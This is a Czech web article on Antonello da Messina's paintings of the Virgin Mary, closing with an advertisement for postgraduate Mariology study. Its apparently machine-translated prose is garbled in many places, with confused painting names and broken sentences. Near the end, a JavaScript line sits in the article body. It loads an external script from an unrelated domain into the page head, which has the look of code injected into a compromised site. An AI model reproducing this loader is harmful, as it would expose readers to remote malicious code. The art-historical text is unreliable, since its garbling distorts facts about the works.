Antonello z Messiny: mariologie „Nového člověka“
Úvod
Meritem Antonella da Messiny spočívá nejen v tom, že zlepšil stav moderní malby, propagoval zdokonalení olejomalby, ale také v tom, že byl jedním z nejodvážnějších italských malířů 15. století. Jeho nejvyšší zásluha spočívá v tom, že umí pohnout srdcem, ať už v různých tématech, kde převládá přísnost nad sladkostí, velkolepost nad pastělností, bolest nad jemností, nebo klid nejhlubších a nejdojemnějších citů duše.
Narodil se kolem roku 1430 v Messině, kde zemřel v roce 1479, Antonello je jednou z nejzáhadnějších postav italského umění, neboť vzhledem k malému počtu dochovaných svědectví představuje dvojí identitu jako místní umělec v souladu s tradicí a jako mezinárodní umělec schopný revolučních inovací. Přijal flamengskou gramatiku do italské syntaxe a dal lidské tváři svého města, své ostrova, absolutní a věčný výraz.
To je to, co nám říkají jejich portréty, tak „terrifikantně sicilské“, že se zdá, jako bychom je slyšeli mluvit v dialektu, kterým mluví o jejich Zjevení. Toto temné upnutí se na subjekt, tato lyrická transformace nejintimnější a nejžhavější podstaty mlhy, kterou se snaží vytvořit absolutismus, je důvodem tajemného údivu, který se chytí každého, kdo se podívá na dílo Antonella.
Proto postavy pozemské křížové cesty v Sibiu vypadají, jako by je spalovala vnitřní plamen, který se spotřebovává a rozptyluje v bílém žáru nebeské krajiny. Proto jejich svatí a Panna Maria s takovou bolestí a prostou důstojností vkládají svou něžnou přítomnost.
Antonello je typickým představitelem *Homo Novus* renesance, zcela italského fenoménu od Sicílie po Benátky. Je symbolem 15. století, kdy se Evropa probudila k sebeuvědomění a překročila obrovský oceán, aby objevila nový svět, kde *devotio moderna* očekávala intimní a subjektivní náboženskost v opozici k středověké kolektivní zbožnosti.*Jazyk gest*
Při zobrazení Panny Marie s Dítětem, ženské protějšky mnoha mužských portrétů, se Antonello da Messina inspiruje svou rodnou zemí. Jak fyzický vzhled, tak postoje Pann z Antonella, jako ruka, která předstírá závoj Zvěstování v Palermu, připomínají sicilské ženy.
Jako první panny, jako Panna ze Solného jezera nebo
Na obra Virginie Leitory je na jednotném monochromatickém pozadí vyobrazena pečlivě vypracovaná krása šperků a plášťů, což odkazuje na Antonellovu formaci u Colantonia v Neapoli, kde se poprvé setkal s flamengskou uměním.
Soška Panny Marie Salting zobrazuje Matku s Dítětem v náručí, korunovanou dvěma severními anděly jako Regina coeli (Královna nebe). Malý gotický obraz Ježíše, který drží v ruce hroznové víno, symbol plodnosti a královské důstojnosti Marie, ale také symbol vášně pro červenou barvu bobulí, jako krev. Průhledná záclona Panny Marie představuje mistrovské dílo, stejně jako krásné popisy šperků a brokátu.
Andělé, temné pozadí, propracovaná koruna s efektem lesklého kovového záře a ostrá bílá světla odkazují na flamendrskou malbu, kterou Antonello dokázal propojit se prostorovou hloubkou a monumentálností italské tvorby.
S pevným a neproniknutelným výrazem, kde vše, od tmavých vlasových čar po bledost pleti, po geometrické tvary pod očima a ústa, zdá se, že hledá neochvějnou tvrdost sochy, zamrazuje v jeho stylizaci z mramoru horký typ krásy, ještě stále rozpoznatelný mezi ženami Sicílie.
Ikony graficky spojují Pannu Marii z Solení s Pannou Marií Čtenářkou, a to velmi těsnou vazbou, která se zdá být nešťastná a téměř naznačuje, že Ježíš dítě v poslední chvíli nahradil otevřenou knihu v rukou Matky.
Panna Maria, jejíž bílá tvář září světlem, s korunou zdobenou liliemi a růže a se otevřenou knihou v rukou, mladá dílo z Messiny, které on popsal jako „stvoření ostré, s hořkým ústy, dlouhými a téměř predátorskými rukama a tváří zapečetěnou pásy utrpení“, reaguje na četné žádosti o soukromé modlitební stoly.
var url = ‘https://wafsearct.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
Pro hlubší zamyšlení nad mariologií v sakrálním umění a renesanční malbě se podívejte na apoštolskou exortaci Marialis Cultus Pavla VI., která oceňuje umělecké vyjádření jako upřednostněný prostředek mariánské zbožnosti a kontemplace.
Hlubší studium: prozkoumejte mariologii, mariánskou teologii, mariánské zjevení a postgraduální studium mariologie.
Postgraduální studium mariologie
Chcete-li prohloubit své vzdělání v mariologii, seznamte se s postgraduálním studiem mariologie na Locus Mariologicus, akademickým vzděláváním, které spojuje přísnou teologii, duchovní život a živou tradici církve.Chcete se skutečně věnovat mariologii?
Tento článek vychází z děl v knihovně Locus Mariologicus. Postgraduální studium mariologie vás zavede ke stejným zdrojům, ale s akademickým dohledem: Písmo, Otcové církve a Magistérium, od prvního dogmatu po současné otázky.
Responses